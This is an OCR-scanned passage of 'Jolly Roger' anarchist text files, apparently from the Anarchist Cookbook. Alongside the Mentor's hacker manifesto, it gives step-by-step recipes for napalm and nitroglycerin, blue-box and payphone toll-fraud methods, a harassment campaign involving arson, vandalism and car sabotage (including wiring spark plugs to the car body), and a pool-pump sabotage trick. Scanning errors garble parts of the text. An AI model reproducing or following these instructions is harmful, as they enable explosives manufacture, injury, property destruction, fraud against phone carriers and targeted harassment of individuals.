THIS GETS THEM MAD; BETTER YET, TURN DOWN SOMETHING TERRIBLE THAT 
NOBODY 

WANTS TO DRINK, SO THEY HAFTA THROW THE DRINK AWAY; THEY CAN'T SELLIT. 
AFTER ALL THE FOOD(?) IS HANDED TO YOU, YOU MUST =NEVER= HAVE ENOUGH 
MONEY 

TO PAY. THE CLERK WILL BE SO ANGRY AND CONFUSED THAT SHE'LL LET YA GET 
AWAY WITH IT (ANOTHER INFLUENCE ON HER IS YOUR FRIEND ASKING HER "IF 
YOu 

LET US GO I'LL GO OUT WITH YOU" AND GIVING HER A FAKE FONE NUMBER). 
NOW, BACK TO YOUR TABLE. BUT FIRST, SOMEBODY LIKES KETCHUP AND 
MUSTARD. 

AND PLENTY (TOO MUCH) OF NAPKINS. OH, AND SOMEBODY LIKES FORKS AND 
KNIVES, 

SO ALWAYS END UP BREAKING THE ONES YOU PICK OUTTA THE BOX. HAVE YOUR 


THAT'LL WORRY THE ENTIRE RESTAURANT. PROCEED TO SIT DOWN. SO, YOU ARE 
SITTING IN THE SMOKING SECTION (BY ACCIDENT) EH? WELL, WHILE ONE OF THE 
TOBACCO-BREATHERS ISN'T LOOKING, PUT A SIGN FROM THE OTHER SIDE OF THE 
ROOM SAYING "DO NOT SMOKE HERE" AND HE'LL HAFTA MOVE...THEN HE GOES 
INTO 

THE REAL NON-SMOKING SECTION, AND GETS YELLED AT. HE THEN THINKS THAT 
NO SMOKING IS ALLOWED IN THE RESTAURANT, SO HE EATS OUTSIDE (IN THE 
POUR- 

ING RAIN) AFTER YOUR MEAL IS FINISHED (AND QUITE A FEW SPLATTERED-OPENED 
KETCHUP PACKETS ARE ALL OVER YER TABLE), TRY TO LEAVE. BUT OOPS! 
SOMEBODY 

HAS TO DO HIS DUTY IN THE MEN'S ROOM. AS HE GOES THERE, HE STICKS AN 
UNEATED HAMBURGGR (WOULD YOU DARE TO EAT ONE OF THEIR HAMBURGERS?) 
INSIDE THE TOILET, FLUSHES IT A WHILE,UNTIL IT RUNS ALL OVER THE 


BATHROOM. 

OOPS! SEND A PIMPLY-FACED TEENAGER TO CLEAN IT UP. (HE WON'T KNOW THAT 
BROWN THING IS A HAMBURGER, AND HE'LL GET SICK. WHEEE!) 

AS YOU LEAVE THE RESTCURANT, LOOKING BACK AT YOUR UNCLEANED TABLE, 
SOMEBODY 

MUST REMEMBER THAT THEY LEFT THEIR CHOCOLATE SHAKE THERE! THE ONE 
THAT'S 

ALMOST FULLI!!! HE TAKES IT THEN SAYS "THIS TASTES LIKE CRAP!", THEN HE 
TAKES OFF THE LID AND THROWS IT INTO THE GARBAGE CAN..,.OOPS! HE MISSED, 
AND NOW THE SAME POOR SOUL WHO'S CLEANING UP THE BATHROOM NOW HASTA 
CLEAN 

UP CHOCOLATE SHAKE, THEN LEAVE THE JOINT, REVERSING THE "YES, WE'RE 
OPEN” 

SIGN (AS A REMINDER OF YER VISIT THERE YOU HAVE IT! YOU HAVE JUST PUT 
ALL OF MCDONALDS INTO COMPLETE MAYHEM. AND SINCE THERE IS NO PENALTY 
FOR 

LITTERING IN A RESTAURANT, BUGGING PEOPLE IN A PUBLIC EATERY (OR 
THROW-UPERY, IN THIS CASE) YOU GET OFF SCOT-FREE. WASN'T THAT FUN? 


cee ne nn enenen Jolly Roger 
"Mentor's Last Words” courtesy of the Jolly Roger 


The following file is being reprinted in honor and sympathy for the many 
phreaks and hackers that have been busted recently by the Secret Service. 
wee ee ee ee eee eee ee ee eee eee eee eee \AThe Conscience of a Hacker/ 
Another one got caught today, it's all over the papers. "Teenager 
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank 
Tampering"... Damn kids. They're all alike. But did you, in your three- 
piece psychology and 1950's technobrain, ever take a look behind the 
eyes of the hacker? Did you ever wonder what made him tick, what forces 
shaped him, what may have molded him? I am a hacker, enter my world... 
Mine is a world that begins with school... I'm smarter than most of the 
other kids, this crap they teach us bores me... Damn underachiever. 
They're all alike. I'm in junior high or high school. I've listened to 
teachers explain for the fifteenth time how to reduce a fraction. 
I understand it. "No, Ms. Smith, I didn't show my work. I did it in 
my head...” Damn kid. Probably copied it. They're all alike. 
I made a discovery today. I found a computer. Wait a second, this is 
cool. It does what I want it to. If it makes a mistake, it's because I 
screwed it up. Not because it doesn't like me... Or feels threatened by 
mae.. Or thinks I'm a smart ass.. Or doesn't like teaching and shouldn't be 
here... Damn kid. All he does is play games. They're all alike. And then 
it happened... a door opened to a world... rushing through the phone line 


like heroin through an addict's veins, an electronic pulse is sent out, 

a refuge from the day-to-day incompetencies is sought... a board is found. 
"This is it... this is where I belong..." I know everyone here... even 

if I've never met them, never talked to them, may never hear from them 
again... ] know you all... Damn kid. Tying up the phone line again. 
They're all alike... You bet your ass we're all alike... we've been 
spoon-fed baby food at school when we hungered for steak... the bits of 
meat that you did let slip through were pre-chewed and tasteless. 

We've been dominated by sadists, or ignored by the apathetic. The few 
that had something to teach found us willing pupils, but those few are 
like drops of water in the desert. 

This is our world now... the world of the electron and the switch, the 
beauty of the baud. We make use ofa service already existing without 
paying for what could be dirt-cheap if it wasn't run by profiteering 
gluttons, and you call us criminals. We explore... and you call us 
criminals. We seek after knowledge... and you call us criminals. We 
exist without skin color, without nationality, without religious bias... 
and you call us criminals. You build atomic bombs, you wage wars, you 
murder, cheat, and lie to us and try to make us believe it's for our 
own good, yet we're the criminals. 

Yes, 1am a criminal. My crime is that of curiosity. My crime is 
that of judging people by what they say and think, not what they look like. 
My crime is that of outsmarting you, something that you will never 
forgive me for. I am a hacker, and this is my manifesto, You may stop 
this individual,but you can't stop us all... after all, we're all alike. 

+++The Mentor+++ 
[May the members of the phreak community never forget his words -JR] 


The Myth of the 2600hz Detector courtesy of the Jolly Roger 
(Imported from the Apple ][ so forgive the upper case!!) 


JUST ABOUT EVERYONE I TALK TO THESE DAYS ABOUT ESS SEEMS TO BE SCARED 
WITLESS ABOUT THE 2600HZ DETECTOR. I DON'T KNOW WHO THOUGHT THIS ONE 
UP, ; 

BUT IT SIMPLY DOES NOT EXIST. SO MANY OF YOU PEOPLE WHINE ABOUT THIS SO 
-CALLED PHREAK CATCHING DEVICE FOR NO REASON. 

SOMEONE WITH AT&T SAID THEY HAD IT TO CATCH PHREAKERS. THIS WAS JUST 
TO 

SCARE THE BLUE-BOXERS ENOUGH TO MAKE THEM QUIT BOXING FREE CALLS. 
I'M NOT SAYING ESS IS WITHOUT ITS HANG-UPS, EITHER. ONE THING THAT ESS CAN 
DETECT READILY IS THE KICK-BACK THAT THE TRUNK CIRCUITRY SENDS BACK TO 
THE 

ESS MACHINE WHEN YOUR LITTLE 2600HZ TONE RESETS THE TOLL TRUNK. AFTER 
AN 

ESS DETECTS A KICKBACK IT TURNS AN M-F DETECTOR ON AND RECORDES ANY 


M-F 
TONES X-MITTED. 


DEFEATING THE KICK-BACK DETECTOR 


PAADAAAARARARARDRADAAAAAAL AR AAAALDAAA 


AS MENTIONED IN MY PREVIOUS NOTE, KICK-BACK DETECTION CAN BE A SERIOUS 
NUISANCE TO ANYONE INTERESTED IN GAINING CONTROL OF A TRUNK LINE. 
THE EASIEST WAY TO BY-PASS THIS DETECTION CIRCUITRY IS NOT REALLY 
BY-PASSING IT AT ALL, IT IS JUST LETTING THE KICK-BACK GET DETECTED ON 
SOME OTHER LINE. THIS OTHER LINE IS YOUR LOCAL MCI, SPRINT, OR OTHER LONG 
DISTANCE CARRIER (EXCEPT AT&T). THE ONLY CATCH IS THAT THE SERVICE 
YOU USE MUST NOT DISCONNECT THE LINE WHEN YOU HIT THE 2600HZ TONE. 
THIS IS HOW YOU DO IT: CALL UP YOUR LOCAL EXTENDER, PUT IN THE CODE, 
AND DIAL A NUMBER IN THE 601 AREA CODE AND THE 644 EXCHANGE. LOTS OF 
OTHER 

EXCHANGES WORK ACROSS THE COUNTRY, I'M SURE, BUT THIS IS THE ONLY ONE 
THAT I HAVE FOUND SO FAR, ANYWAY, WHEN IT STARTS RINGING, SIMPLY HIT 
2600HZ AND YOU'LL HEAR THE KICK-BACK, (KA-CHIRP, OR WHATEVER). THEN YOU 
ARE 

READY TO DIAL WHOEVER YOU WANT (CONFERENCES, INWARD, ROUTE AND RATE, 
OVERSEAS, ETC.) FROM THE TRUNK LINE IN OPERATOR TONES! SINCE BLOWING 
2600HZ DOESN'T MAKE YOU YOU A PHREAKER UNTIL THE TOLL EQUIPMENT RESETS 
THE LINE, KICKBACK DETECTION IS THE METHOD AT&T CHOOSES (FOR NOW) 
THIS INFORMATION COMES AS A RESULT OF MY EXPERIMENTS & EXPERIENCE AND 
HAS BEEN VERIFIED BY LOCAL AT&T EMPLOYEES I HAVE AS ACQUAINTANCES, 
THEY COULD ONLY SAY THAT THIS IS TRUE FOR MY AREA, BUT WERE PRETTY SURE 
THAT THE SAME IDEA IS IMPLEMENTED ACROSS THE COUNTRY, 


NOW THAT YOU KNOW HOW TO ACCESS A TRUNK LINE OR AS OPERATORS SAY A 
LOOP, I 

WILL TELL YOU THE MANY THINGS YOU CAN DO WITH IT. 

HERE IS A LIST OF AT&T SERVICES ACCESSIBLE TO YOU BY USING A BLUE BOX. 


A/C+101 TOLL SWITCHING 
A/C+121 INWARD OPERATOR 
A/C+131. INFORMATION 
A/C+141 ROUTE & RATE OP. 
A/C+11501 MOBILE OPERATOR 
A/C+11521 MOBILE OPERATOR 


STARTING CONFERANCES:.--------------------+ 


THIS IS ONE THE MOST USEFUL ATTRIBUTES OF BLUE BOXING. NOW THE CONFS. 
ARE UP 24 HOURS/DAY AND 7 DAYS/WEEK AND THE BILLING LINES ARE BEING 
BILLED. 

SINCE I BELEIVE THE ABOVE IS TRUE (ABOUT THE BILLING LINES BEING BILLED) 
I WOULD RECOMMEND THAT YOU NEVER LET YOUR # SHOW UP ON THE CONF. IF 
YOU 

STARTED IT, PUT IT ON A LOOP AND THEN CALL THE LOOP. ENOUGH 


M-F WHILE YOU ARE ON THE TRUNK. 

2134+-080+ KX XXX 

XXXX=1050,3050 

SPECIAL XXXX=1000,1100,1200,1500,2200,2500. 

THESE #8 ARE IN L.A, AND ARE THE MOST WATCHED, I DO NOT ADVISE USING THIS 
NPA. 

312+001+1050 OR 3050 

914+042+1050 OR 1100,1200 ECT.. 


BOO IOC ROR OGIO FOR a ok ai aor a kk dak i oka ak ak 


UPDATE, I BELETVE ONLY 914 WORKS AT THE MOMENT 

FES GA ISISIO ISA ISSCC RIA AGGIE I foi sola i kk tok akg 

ONCE CONNECTED WITH ONE OF THESE YOU WILL EITHER HEAR A RE-ORDER, 
BUSY, OR CHERP. WHEN YOU HEAR THE CHERP ENTER THE BILLING LINE IN M-F. 
I USE THE CONF. DIAL- UP. 

A BILLING LINE EXAMPLE: KP312+001+1050ST 

YOU WILL THEN HEAR TWO TUTES AND A RECORDING ASKING YOU FOR THE # OF 
CONFERREES INCLUDING YOURSELF. ENTER A # BETWEEN 20 AND 30. 

IF YOU EVER GET OVER 30 PEOPLE ON A CONFERANCE ALL YOU WILL HEAR IS 
JUMBLED VOICES, AFTER THE IT SAYS 

"YOUR CONFERANCE SIZE IS XX" THEN HIT # SIGN. ADD YOUR FAVORITE LOOP 
ON AND HIT 6 TO TRANSFER CONTROL TO IT. AFTER IT SAYS CONTROL WILL BE 
TRANSFERED HANG UP AND CALL THE OTHER SIDE OF THE LOOP, 

HIT # SIGN AND FOLLOW THE INSTRUCTIONS. A BONUS FOR CONF. IS TO ADD AN 
INTERNATIONAL # DIAL 1+011+CC+NUMBER PRETTY COOL EHHH. 

A FEW EXTRA NOTES. 

DO NOT ADD #S THAT YOU WILL WANT TO HANG UP, ADD THESE THROUGH MCI OR 
SPRINT. YOU CANNOT BLOW ANYONE OFF W/2600HZ UNLESS THEY ARE IN AN 
OLD X-BAR OR OLDER SYSTEM. 

MANY D.A. OPERATORS WILL STAY ON AFTER YOU ABUSE THEM; YOU MAY HAVE 
TO 

START ANOTHER OR AT LEAST DON'T SAY ANY NUMBERS. 

NEVER ADD THE TONE SIDE OF A LOOP ONTO A CONF. 

NEVER ADD MORE THAN ONE MCI NODE ON YOUR CONF. 

ROUTE & RATE: 

NOTE ROUTE & RATE AND RQS PERFORM THE SAME SERVICE. 

R&R SIMPLY TELLS YOU ROUTE AND RATE INFO WHICH IS VERY VALUBLE, EX. 


SUCH AS THE INWARD ROUTING FOR AN EXCHANGE IN AN AREA CODE, 

AN INWARD ROUTING WILL LET YOU CALL HER AND SHE CAN DO AN EMERGENCY 
INTERUPT FOR YOU. SHE CAN TELL YOU HOW TO GET INTERNATIONAL 
OPERATORS,ECT. 

HERE ARE THE TERMS YOU ARE REQUIRED TO USE: 

INTERNATIONAL, 

-OPERATOR ROUTE FOR [COUNTRY, CITY]. *GIVES YOU INWARD OP. 
-DIRECTORY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU DIRECTORY ASS. 
-CITY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU COUNTRY AND CITY CODE. 
OPERATOR ROUTE FOR [A/C]+ [EXCHANGE] *GIVES YOU INWARD OP. ROUTE 
EX. [A/C]+ OR [A/C]+0XX+ WHEN SHE SAYS PLUS SHE MEANS PLUS 121, 
NUMBERS ROUTE FOR [STATE, CITY] *GIVES YOU A/C. 

PLACE NAME [A/C]+[EXCHANGE] *GIVES YOU CITY/STATE FOR THAT A/C AND 
EXCHANGE. 

INTERNATIONAL CALLS: 

TO CALL INTERNATIONAL OVER CABLE SIMPLY ACCESS A TRUNK AND DIAL 
KPO1L1LXXXST WAIT FOR SENDER TONE, KPXXXCC-NUMBERST 

XXX - A 3 DIGIT COUNTRY CODE, IT MAY NOT BE 3 DIGITS SO JUST PUT 

1 OR 20'S IN FRONT OF IT. CC - IS THE CITY CODE 

TO GO BY SATELLITE: 

DIAL KP18XST X-NUMBERS 2-8 WAIT FOR SENDER TONE THEN 
KPXXXCCNUMBERST 


Blue Box courtesy of the Jolly Roger 


To quote Karl Marx, blue boxing has always been the most noble form of 
phreaking. As opposed to such things as using an MCI code to make a free 
fone cail, which is merely mindless pseudo-phreaking, blue boxing 

is actual interaction with the Bell System toll network. 

It is likewise advisable to be more cautious when blue boxing, but the 
careful phreak will not be caught, regardless of what type of switching 
system he is under. 

In this part, I will explain how and why blue boxing works, as well as 
where. In later parts, I will give more practical information for blue 
boxing and routing information. To begin with, blue boxing is simply 
communicating with trunks. Trunks must not be confused with subscriber 
lines (or "customer loops") which are standard telefone lines. Trunks are 
those lines that connect central offices. Now, when trunks are not in 

use (i.e., idle or “on-hook" state) they have 2600Hz applied to them. If 
they are two-way trunks, there is 2600Hz in both directions. When a trunk 
IS in use (busy or "off-hook” state), the 2600Hz is removed from the side 
that is off-hook, The 2600Hz is therefore known as a supervisory 

signal, because it indicates the status of a trunk; on hook (tone) or 
off-hook (no tone). Note also that 2600Hz denoted SF (single frequency) 


signalling and is "in-band." This is very important. "In-band” means that 

is within the band of frequencies that may be transmitted over normal 
telefone lines. Other SF signals, such as 3700Hz are used also. However, 
they cannot be carried over the telefone network normally (they are 
"out-of-band" and are therefore not able to be taken advantage of as 
2600Hz is. Back to trunks. Let's take a hypothetical phone call. You pick 
up your fone and dial 1+806-258-1234 (your good friend in Amarillo, Texas). 
For ease, we'll assume that you are on #5 Crossbar switching and not in the 
806 area. Your central office (CO) would recognize that 806 is a foreign 
NPA, so it would route the call to the toll centre that serves you. 

[For the sake of accuracy here, and for the more experienced readers, 

note that the CO in question is a class 5 with LAMA that uses out-of-band 
SF supervisory signalling]. Depending on where you are in the country, 
the call would leave your toll centre (on more trunks) to another toll 
centre, or office of higher "rank". Then it would be routed to central 

office 806-258 eventually and the call would be completed. 


Illustration 
A---CO1------- TC1------ TC2----CO2----B 


A... you 

CO1=your central office 

TC1.. your toll office. 

TC2.. toll office in Amarillo. 
CO2., 806-258 central office. 
B.... your friend (806-258-1234) 


In this situation it would be realistic to say that CO2 uses SF 

in-band (2600Hz) signalling, while all the others use out-of-band signal- 

ling (3700Hz). If you don't understand this, don't worry. I am pointing 

this out merely for the sake of accuracy. The point is that while you 

are connected to 806-258-1234, all those trunks from YOUR central office 
(CO1) to the 806-258 central office (CO2) do *NOT* have 2600Hz on them, 
indicating to the Bell equipment that a call is in progress and the trunks 

are in use. 

Now let's say you're tired of talking to your friend in Amarillo, so you 

send a 2600Hz down the line. This tone travels down the line to your 
friend's central office (CO2) where it is detected. However, that CO thinks 
that the 2600Hz is originating from Bell equipment, indicating to it 

that you've hung up, and thus the trunks are once again idle (with 2600Hz 
present on them). But actually, you have not hung up, you have fooled the 
equipment atyour friend's CO into thinking you have. Thus,it disconnects 
him and resets the equipment to prepare for the next call. All this happens 
very quickly (00-800ms for step-by-step equipment and 150-400ms for other 
equipment). When you stop sending 2600Hz (after about a second), the 


equipment thinks that another call is coming towards 
--> on hook, no tone -->off hook. 
Now that you've stopped sending 2600Hz, several things happen: 


1) A trunk is seized. 

2) A "wink" is sent to the CALLING end from the CALLED end indicating that 
the CALLED end (trunk) is not ready to receive digits yet. 

3) A register is found and attached to the CALLED end of the trunk within 
about two seconds (max). 

4) A start-dial signal is sent to the CALLING end from the CALLED end 
indicating that the CALLED end is ready to receive digits. 

Now, all of this is pretty much transparent to the blue boxer. All he 

really hears when these four things happen is a <beep><kerchunk>. So, 

seizure of a trunk would go something like this: 


1> Send a 2600Hz 
2> Terminate 2600Hz after 1-2 secs. 
3> [beep][kerchunk] 


Once this happens, you are connected to a tandem that is ready to obey your 
every command, The next step is to send signalling information in order to 
place your call. For this you must simulate the signalling used by 

operators and automatic toll-dialing equipment for use on trunks. There are 
mainly two systems, DP and MF. However, DP went out with the dinosaurs, so 
I'll only discuss MF signalling. MF (multi-frequency) signalling is the 
signalling used by the majority of the inter- and intra-lata network. It is 

also used in international dialing known as the CCITT no.5 system, 

MF signals consist of 7 frequecies, beginning with 700Hz and separated by 
200Hz. A different set of two of the 7 frequencies represent the digits 0 

thru 9, plus an additional 5 special keys. The frequencies and uses are as 
follows: 


Frequencies (Hz) Domestic Int'l 
700+900 1 
700+1100 2 
900+1100 3 
700+1300 4 
900+1300 5 
1100+1300 6 
700+1500 7 
900+1500 8 
1100+1500 9 
1300+1500 0 
700+1700 ST3p Code 1 


900+1700 STp Code | 

1100+1700 KP KP1 

1300+1700 ST2p  KP2 

1500+1700 ST ST 

The timing of all the MF signals is a nominal 60ms, except for KP, which 
should have a duration of 100ms. There should also be a 60ms silent period 
between digits. This is very flexible however, and most Bell equipment will 
accept outrageous timings. In addition to the standard uses 

listed above, MF pulsing also has expanded usages known as “expanded 
inband signalling" that include such things as coin collect, coin return, 
ringback, operator attached, and operator attached, and operator 

released. KP2, code 11, and code 12 and the ST_ps (STart "primes" all have 
special uses which will be mentioned only briefly here. 

To complete a call using a blue box once seizure of a trunk has been 
accomplished by sending 2600Hz and pausing for the <beep><kerchunk>, one 
must first send a KP. This readies the register for the digits that follow. 

For a standard domestic call, the KP would be followed by either 7 digits 
(if the call were in the same NPA as the seized trunk) or 10 digits (if the 
call were not in the same NPA as the seized trunk). [Exactly like dialing 
normal fone call]. Following either the KP and 7 or 10 digits, a STart is 
sent to signify that no more digits follow. Example of a complete call: 


1> Dial 1-806-258-1234 

2> wait for a call-progress indication (such as ring, busy,recording,etc.) 

3> Send 2600Hz for about | second. 

4> Wait for about ll-progress indication (such as ring, busy,recording,etc.) 
5> Send KP+305+994+9966+ST 

The call will then connect if everything was done properly. Note that ifa 
call to an 806 number were being placed in the same situation, the are code 
would be omitted and only KP + seven digits + ST would be sent. 

Code 11 and code 12 are used in international calling to request 

certain types of operators. KP2 is used in international calling to route a 
call other than by way of the normal route, whether for economic or 
equipment reasons. STp, ST2p, and ST3p (prime, two prime, and three prime) 
are used in TSPS signalling to indicate calling type of call (such as 
coin-direct dialing. 

Napalm (Another way to make it...) by the Jolly Roger 


(See file #021 of the Cookbook for an easy way to make it!!) 


About the best fire bomb is napalm. It has a thick consistancy, 

like jam and is best for use on vehilces or buildings. 

Napalms is simply one part gasoline and one part soap. The soap is 
either soap flakes or shredded bar soap. Detergents won't do. 

The gasoline must be heated in order for the soap to melt. The 


usual way is with a double boiler where the top part has at least a 
two-quart capicity. The water in the bottom part is brought to a boil 
and the double boiler is taken from the stove and carried to where 
there is no flame. 

Then one part, by volume, of gasoline is put in the top part and 
allowed to heat as much as it will and the soap is added and the mess 
is stirred until it thickens. A better way to heat gasoline is to fill 

a bathtub with water as hot as you can get it. It will hold its heat 
longer and permit a much larger container than will the double boiler. 


wrenenn nnn eens Jolly Roger 
Nitroglycerin Recipe by the Jolly Roger 


Like all chemists I must advise you all to take the greatest care 
and caution when you are doing this. Even if you have made this stuff 
before. 

This first article will give you information on making 

nitroglyerin, the basic ingredient in a lot of explosives such as 

straight dynamites, and geletin dynamites. 

Making nitroglycerin 

1, Fill a 75-milliliter beaker to the 13 ml. Level with fuming 
red nitric acid, of 98% pure concentration. 

2. Place the beaker in an ice bath and allow to cool below room 
temp. 

3, After it has cooled, add to it three times the amount of 
fuming sulferic acid (99% h2so04). In other words, add to the 
now-cool fuming nitric acid 39 ml. Of fuming sulferic acid. 
When mixing any acids, always do it slowly and carefully to 
avoid splattering. 

4, When the two are mixed, lower thier temp. By adding more ice 
to the bath, about 10-15 degrees centigrade. (Use a 
mercury-operated thermometer) 

5. When the acid solution has cooled to the desired temperature, 
it is ready for the glycerin. The glycerin must be added in 
small amounts using a medicine dropper. (Read this step about 
10 times!) Glycerin is added slowly and carefully (i mean 
careful!) Until the entire surface of the acid it covered with 
it. 

6. This is a dangerous point since the nitration will take place 
as soon as the glycerin is added. The nitration will produce 
heat, so the solution must be kept below 30 degrees 
centigrade! If the solution should go above 30 degrees, 
immediately dump the solution into the ice bath! This will 
insure that it does not go off in your face! 


7. For the first ten minutes of nitration, the mixture should be 
gently stirred. In a normal reaction the nitroglycerin will 
form as a layer on top of the acid solution, while the sulferic 
acid will absorb the excess water. 

8. After the nitration has taken place, and the nitroglycerin has 
formed on the top of the solution, the entire beaker should be 

transferred slowly and carefully to another beaker of water. 
When this is done the nitroglycerin will settle at the bottem 
so the other acids can be drained away. 

9, After removing as much acid as posible without disturbing the 
nitroglycerin, remove the nitroglycerin with an eyedropper and 
place it in a bicarbonate of soda (sodium bicarbonate in case 
you didn't know) solution. The sodium is an alkalai and will 
nuetralize much of the acid remaining. This process should be 
repeated as much as necesarry using blue litmus paper to check 
for the presence of acid. The remaining acid only makes the 
nitroglycerin more unstable than it already is. 

10. Finally! The final step is to remove the nitroglycerin from 
the bicarbonate. His is done with and eye- dropper, slowly 
and carefully, The usual test to see if nitration has been 
successful is to place one drop of the nitroglycerin on metal 
and ignite it. If it is true nitroglycerin it will burn with 
a clear blue flame. 

** Caution ** 

Nitro is very sensative to decomposition, heating dropping, or 

jarring, and may explode if left undisturbed and cool. 

weeene ne ensen, Jolly Roger 


Operation: Fuckup by the Jolly Roger 


This is a guide for Anarchists and can be funny for non-believers and 12 
and 13 year old runts, and can be a lexicon of deadly knowledge for True 
Anarchists... Serious damage is intended to be dealt here. Do not try 

this stuff unless you want to do a lot of serious Anarchy. 

[Simulation] 

Asshole - 'Listen, you little teenager punk shit, shut the fuck up, or I'll 
knock you down!’ 

Anarchist - 'O.K..... You can't say I didn't warn you. You don't know my 
rue power...’ (soooo casually) 

Asshole - "Well, er, what do you mean? Anarchist - '<demoniac grin>' 
As you can see, the Anarchist knows something that this asshole doesn't... 


[Operation Fuckup] 
Geta wheel barre! or two. Fill with gasoline. Get 16 rolls of toilet 
paper, unroll & drench in the gasoline. Rip to shreds in gasoline. Get 


oN, 


asbestos gloves. Light a flare (to be punk), grab glob of 

saturated toilet paper (you can ignite the glob or not). Throw either 
flaming or dripping glob into: 

any window (picture is the best) 

front doors 

rough grain siding 

and best of all, brick walls. 

First of all, this bitch is near impossible to get off once dried, and 

is a terror to people inside when lit! After this... during the 

night, get a pickup truck, a few wheel-barrels, and a dozen friends with 
shovels. The pickup can be used only for transporting people 

and equipment, or doing that, and carting all the dirt. When it gets 
around 12:00 (after the loser goes beddie - bye), dig a gargantuan hole 
in his front yard until about 3:00. You can either assign three or four 

of your friends to cart the dirt ten miles away in the pickup-bed, or 

bury his front door in 15’ of dirt! After that is done, get 

three or four buckets of tar, and coat his windows. You can make an 
added twist by igniting the tar when you are all done and ready to 

run! That is if the loser has a house. If he lives inside an apartment 
building, you must direct the attack more toward his car, and front door. 
L usually start out when he goes to work...I find out what his cheap car 
looks like, and memorize it for future abuse...It is always fun to paint 
his front door (apt.) hot pink with purple polka-dots, and off-neon 
colors in diagonal stripes. You can also pound a few hundred or so four 
inch nails into his front door (this looks like somebody really 

doesn't like you from the inside). Another great is to fill his keyhole 
with liquid steel so that after the bastard closes his door - the 

only way to get back in is to break it down. If you can spare it, leave 
him an axe - that is, implanted three inches into, and through the door! 
Now, this next one is difficult, but one of the best! Get a piece of wood 
siding that will more than cover his front door completely. Nail two by 
fours on the edges of the siding (all except the bottom) so you have 

a barge - like contraption. Make a hole at the top that will be large 
enough for a cement slide. Mix about six or seven LARGE bags of QUICK 
drying cement. Use the cement slide to fill the antichamber created by 
the 'barge' that is around his door. Use more two by fours to brace 

your little cement-filled barge, and let the little gem dry. When it is, 
remove the 'barge' so only a stone monolith remains that covers his door. 
Use any remaining cement to make a base around this so he can't just push 
it over. When I did this, he called the fire department, and they thought 
he meant wood, so they brought axes. I watched with a few dozen or so 
other tenants, and laughed my damn ass off! This is only his door! After 
he parks his car for the night, the fun really begins...I start out 

by opening up the car by jamming a very thin, but loack - inside and out! 
Then proceed to put orange-juice syrup all over the seats, so after he 


gets through ail the other shit that you do, he will have the stickiest 

seats in the world. You can then get a few Sunday papers, and crack one of 
the windows about four inches. Lightly crumple the papers, and continue to 
completely fill the inside of his car with the newspapers. A copy of the 
Sunday New York Times will nicely filla Volkeswagon! What is also quite 
amusing is to put his car on cinder blocks, slash his tires at the top, and 

fill them with cement! Leave the cinder blocks there so that, after he 
knocks the car off of them, he will get about 3 miles to the gallon with 
those tires, and do 0 to 60 in about two minutes! It is even more 

hilarious when he doesn’t know why the hell why! Another is to open his 
hood, and then run a few wires from the sparkplugs to the METAL body. 
The sure is one HOT car when it is running! Now, I like to pour two pounds 
of sugar down his gas tank. If this doesn't blow every gasket in his 

engine it will do something called 'carmelizing his engine’. This is when 
the extreme heat turns the sugar to carmel, and you literally must 
completely take the engine out and apart, and clean each and every 
individual part! 

Well, if this asshole does not get the message, you had better start to 

get serious. If this guide was used properly & as it was intended (no, 

not as kindling for the fire), this asshole will either move far away, 

seek professional psychological help, commit suicide, 

or all of the above! 


Sreeesescetese Jolly Roger 
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. How to "steal" local calls from most Payphones * 

ee I Oe OI Oe Oe ce Pe. oe) 
by the Jolly Roger 


Now to make free local calls, you need a finishing nail. I highly 

recommend "6D E.G. FINISH C/H, 2 INCH" nails. These are about 3/32 of 
an inch in diameter and 2 inches long (of course). You also need a large 
size paper clip. By large I mean they are about 2 inches long 
(FOLDED). Then you unfold the paper clip. Unfold it by taking each piece 
and moving it out 90 degrees. When it is done it should look somewhat 

like this: 


Now, on to the neat stuff. What you do, instead of unscrewing the 
glued-on mouthpiece, is insert the nail into the center hole of 

the mouthpiece (where you talk) and push it in with 

pressure or just hammer it in by hitting the nail on something. 

Just DON'T KILL THE MOUTHPIECE! You could damage it 

if you insert the nail too far or at some weird angle. If this 

happens then the other party won't be able to hear what you say. 

You now have a hole in the mouthpiece in which you can easily insert the 
paper clip. So, take out the nail and put in the paper clip. 

Then take the other end of the paper clip and shove it under the rubber 
cord protector at the bottom of the handset (you know, the blue guy...). 
This should end up looking remotely like...like this: 


[onnennneee \ Mouthpiece 
Paper clip --> : / 
£0 feeeteee\ 
Meee ween wnne, > 
secesssssssssssss==s\,..))): 
: To earpiece -> 
“A ras 
Noawentteu adeuennd > 


Cord Blue guy 
(The paper clip is shoved under the blue guy to make a good connection 
between the inside of the mouthpiece and the metal cord.) 
Now, dial the number of a local number you wish to call, sayyyy, 
MCI. If everything goes okay, it should ring and not answer with the 
"The Call You Have Made Requires a 20 Cent Deposit” recording. After the 
other end answers the phone, remove the paper clip. It's all that 
simple, see? 
There are a couple problems, however. One is, as I mentioned 
earlier, the mouthpiece not working after you punch it. If this 
happens to you, simply move on to the next payphone. The one you are 
now on is lost. Another problem is that the touch tones won't work 
when the paper clip is in the mouthpiece. There are two ways around this.. 
A> Dial the first 6 numbers, This should be done without the paper 
clip making the connection, i.e., one side should not be connected. 
Then connect the paper clip, hold down the last digit, and slowly 
pull the paper clip out at the mouthpiece's end. 
B> Don't use the paper clip at all, Keep the nail in after you punch 
it. Dial the first 6 digits. Before dialing the last digit, touch 
the nail head to the plate on the main body of the phone, the money 
safe thingy..then press the last number. The reason that this method 


is sometimes called clear boxing is because there is 

another type of phone which lets you actually make the call and listen 
to them say "Hello, hello?" but it cuts off the mouthpiece so they 
can't hear you. The Clear Box is used on that to amplify your voice 
signals and send it through the earpiece. If you see how this is 

even slightly similar to the method I have just described up there, 
kindly explain it to ME!! Cause I don't GET IT! Anyways, this DOES 
work on almost all single slot, Dial Tone First payphones (Pacific Bell 
for sure). I do it all the time. This is the least, I STRESS 

*LEAST™*, risky form of Phreaking. 


wrencen erence Jolly Roger 
Pool Fun by the Jolly Roger 


First of all, you need know nothing about pools. The only thing 

you need know is what a pool filter looks like. If you don't know that. 
Second, dress casual. Preferably, in black. Visit your 

"friends" house, the one whose pool looks like fun!!) Then you 
reverse the polarity of his/her pool, by switching the wires around. 
They are located in the back of the pump. This will have quite an 
effect when the pump goes on. In other words. Booooooo00000mmm! 
Thats right, when you mix + wires with - plugs, and vice- versa, the 
4th of july happens again. 

Not into total destruction??? When the pump is off, switch the 

